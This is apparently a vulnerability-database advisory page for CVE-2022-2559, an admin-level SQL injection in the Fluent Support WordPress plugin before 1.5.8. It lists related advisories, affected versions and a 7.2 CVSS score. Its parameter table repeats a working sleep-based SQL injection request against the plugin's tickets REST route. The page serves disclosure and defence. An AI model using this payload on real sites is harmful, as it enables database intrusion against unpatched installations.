Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

CVE-2022-2559

🗓️ 29 Aug 2022 17:15:36Reported by WPScanType 
cve
 cve🔗 web.nvd.nist.gov📰️ 3 Media mentions👁 59 Views🌐 WEB

The Fluent Support WordPress plugin before 1.5.8 SQL Injection vulnerabilit

Related
Detection
Affected
Refs
Paths
Social
ReporterTitlePublishedViews
Family
ATTACKERKB		CVE-2022-2559
29 Aug 202218:15
–attackerkb
Circl		CVE-2022-2559
29 Aug 202222:34
–circl
CNNVD		WordPress plugin Fluent Support SQL注入漏洞
29 Aug 202200:00
–cnnvd
Cvelist		CVE-2022-2559 Fluent Support < 1.5.8 - Admin+ SQLi
29 Aug 202217:15
–cvelist
EUVD		EUVD-2022-34813
3 Oct 202520:07
–euvd
NVD		CVE-2022-2559
29 Aug 202218:15
–nvd
Patchstack		WordPress Fluent Support plugin <= 1.5.7 - Authenticated SQL Injection (SQLi) vulnerability
2 Aug 202200:00
–patchstack
Prion		Sql injection
29 Aug 202218:15
–prion
Positive Technologies		PT-2022-17386 · WordPress · Fluent Support
29 Aug 202200:00
–ptsecurity
RedhatCVE		CVE-2022-2559
22 May 202521:54
–redhatcve
Rows per page
NVD
Vulners
Node
wpmanageninjafluent_supportRange<1.5.8wordpress
[
  {
    "product": "Fluent Support – WordPress Helpdesk and Customer Support Ticket Plugin",
    "vendor": "Unknown",
    "versions": [
      {
        "lessThan": "1.5.8",
        "status": "affected",
        "version": "1.5.8",
        "versionType": "custom"
      }
    ]
  }
]
ParameterPositionPathDescriptionCWE
rest_routequery param/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76dSQL Injection vulnerability via unsanitized parameters in rest_route query leading to potential delay/EXFiltration (sleep-based PoC).CWE-89
order_byquery param/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76dSQL Injection vulnerability via unsanitized parameters in rest_route query leading to potential delay/EXFiltration (sleep-based PoC).CWE-89
_wpnoncequery param/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76dSQL Injection vulnerability via unsanitized parameters in rest_route query leading to potential delay/EXFiltration (sleep-based PoC).CWE-89
order_typequery param/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76dSQL Injection vulnerability via unsanitized parameters in rest_route query leading to potential delay/EXFiltration (sleep-based PoC).CWE-89
pagequery param/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76dSQL Injection vulnerability via unsanitized parameters in rest_route query leading to potential delay/EXFiltration (sleep-based PoC).CWE-89
per_pagequery param/?rest_route=/fluent-support/v2/tickets&page=1&per_page=10&order_by=priority`=`priority`%20AND%20(SELECT%209285%20FROM%20(SELECT(SLEEP(5)))BuXj)%20AND%20`priority`=`priority&order_type=ASC&_wpnonce=f8394cb76dSQL Injection vulnerability via unsanitized parameters in rest_route query leading to potential delay/EXFiltration (sleep-based PoC).CWE-89

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
21 Nov 2024 07:01Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.2
EPSS0.00566
CWE-89
fluent supportwordpresspluginsql injectionvulnerability
59